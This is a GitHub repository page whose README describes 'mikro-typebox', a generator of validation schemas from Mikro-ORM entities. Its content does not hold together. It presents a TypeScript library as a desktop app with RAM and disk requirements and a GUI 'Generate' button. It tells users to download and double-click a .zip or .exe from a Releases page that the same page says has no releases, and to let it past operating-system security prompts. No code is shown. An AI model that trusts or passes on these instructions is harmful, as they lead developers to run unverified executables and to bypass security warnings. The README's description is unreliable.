Skip to content

πŸ”§ Generate validation schemas from Mikro-ORM entities, supporting multiple libraries like TypeBox and Zod for seamless type management and validation.

License

Notifications You must be signed in to change notification settings

alfa0601/mikro-typebox

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

55 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸŽ‰ mikro-typebox - Easily Generate Validation Schemas

πŸš€ Getting Started

Welcome to mikro-typebox! This application helps you create validation schemas from Mikro-ORM entities easily. It supports many popular libraries, which means you can ensure your data is valid using tools like TypeBox, Zod, Valibot, and more.

πŸ”— Download

Download mikro-typebox

πŸ–₯️ System Requirements

  • Operating System: Windows 10 or later, macOS Mojave or later, or a recent version of Linux.
  • Memory: At least 4 GB of RAM.
  • Disk Space: Minimum of 100 MB free space.
  • Network: Internet connection for updates and downloads.

πŸ“¦ Installation Instructions

Step 1: Visit the Releases Page

To download mikro-typebox, please visit the following link: Releases Page. This page contains the latest versions of the software.

Step 2: Choose the Right Version

Once you are on the Releases page, look for the version you want. The latest version will be at the top. Click on it to see the files available for download.

Step 3: Download the File

Click on the file that matches your operating system. For most users, this will be a .zip or .exe file.

Step 4: Extract the Files (if necessary)

If you downloaded a .zip file, you'll need to extract it. Right-click the file and select "Extract All." Follow the prompts to choose a destination for the extracted files.

Step 5: Run the Application

Locate the extracted folder and double-click on the application to run it.

If you encounter any security prompts, you may need to allow the app through your operating system's security settings.

πŸ“‹ Using mikro-typebox

After you have the application running, follow these steps to generate a validation schema:

  1. Input your Mikro-ORM entity data in the provided fields.
  2. Select the validation library you want to use (TypeBox, Zod, etc.).
  3. Click the "Generate" button.
  4. The schema will appear in the output section. You can now copy it to use in your application.

πŸ“ Supported Libraries

mikro-typebox works with multiple libraries for your convenience:

  • TypeBox: Create TypeScript schemas using TypeBox.
  • Zod: A TypeScript-first schema declaration and validation library.
  • Valibot: Flexible and easy-to-use validation toolkit.
  • Yup: A JavaScript schema builder for value parsing and validation.
  • ArkType: A TypeScript library for defining and validating data structures.
  • Effect: A functional effect system for TypeScript, enabling validation.
  • io-ts: Type-safe validation library for TypeScript data validation.

Feel free to explore these libraries to see which best fits your project needs.

πŸ’¬ Support or Questions

If you have any questions or need help, please check the Issues section on the GitHub repository. You can report bugs or request features there.

πŸ› οΈ Contributing

We welcome contributions to improve mikro-typebox. If you'd like to help, please read the Contribution guidelines in the repository. All contributions are appreciated.

πŸ”— Additional Resources

Thank you for using mikro-typebox! Enjoy generating your validation schemas easily.

About

πŸ”§ Generate validation schemas from Mikro-ORM entities, supporting multiple libraries like TypeBox and Zod for seamless type management and validation.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •